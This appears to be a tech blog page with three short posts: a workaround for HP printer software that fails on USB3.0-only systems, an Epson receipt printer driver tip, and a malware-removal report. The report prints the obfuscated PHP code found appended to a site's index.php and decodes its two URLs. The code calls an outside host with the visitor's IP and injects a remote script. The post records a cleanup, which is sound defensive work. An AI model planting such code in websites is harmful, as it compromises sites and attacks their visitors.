HP AIO Printer Software Refuses to Install on USB3.0 Only System

The problem is described on HP Support Forums:


After 20 minutes of investigation, I believe we have a much easier solution that does not require BIOS changes.

  1. Download HP AIO software package
  2. Download WinRar, install it
  3. Right-click on HP software package, select Extract with WinRar into a folder.
  4. Go into “setup” subfolder
  5. Inside you will find usbready.exe – Intel USB System Check utility from year 2007 (no surprise it doesn’t know about USB3.0!). This utility has a command line mode and returns exit code 0 on successful USB check.
  6. Delete usbready.exe
  7. Go back to the main folder
  8. Run Setup.exe


Malware removal from the site

Removed a malware from the customer’s website ┬átoday, customer was alerted by ESET NOD32 antivirus about malware presence on the page. This is the malicious code that was attached at the end of the index.php:

function sql2_safe($in) {
 $rtn = base64_decode($in);
 return $rtn;
function collectnewss() {
 if (!isset($_COOKIE["iJijkdaMnerys"])) {
 $value = 'yadeor';
 $get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
 $file = @fopen ($get, "r");
 $content = @fread($file, 1000);
 @setcookie("iJijkdaMnerys", $value, time()+3600*24);
 if (!$content)
 echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9hY2NvdW50dXMuZ2V0cy1pdC5uZXQvZ29vZ2xlc3RhdC5waHAiPjwvc2NyaXB0Pg==");
 echo $content;
collectnewss ();

The first encrypted string contains the url “http://xxxporno.xxuz.com:888/move.php?ip=”, and the second string contains the script link: “<script src=”http://accountus.gets-it.net/googlestat.php”></script>”

Using shared Epson TM-U210 receipt printer from Windows 7

You need to download Epson Advanced Printer Driver (APD) and install it. It seems that Epson TM-U210 and TM-U220 printers are fully compatible driver-wise, you can choose TM-U220 driver in the list. The installer does not support Windows shared printers, if you need to use one then install it with any local port setting and later swap the port to the needed one (like \\server1\epson) in the printer properties.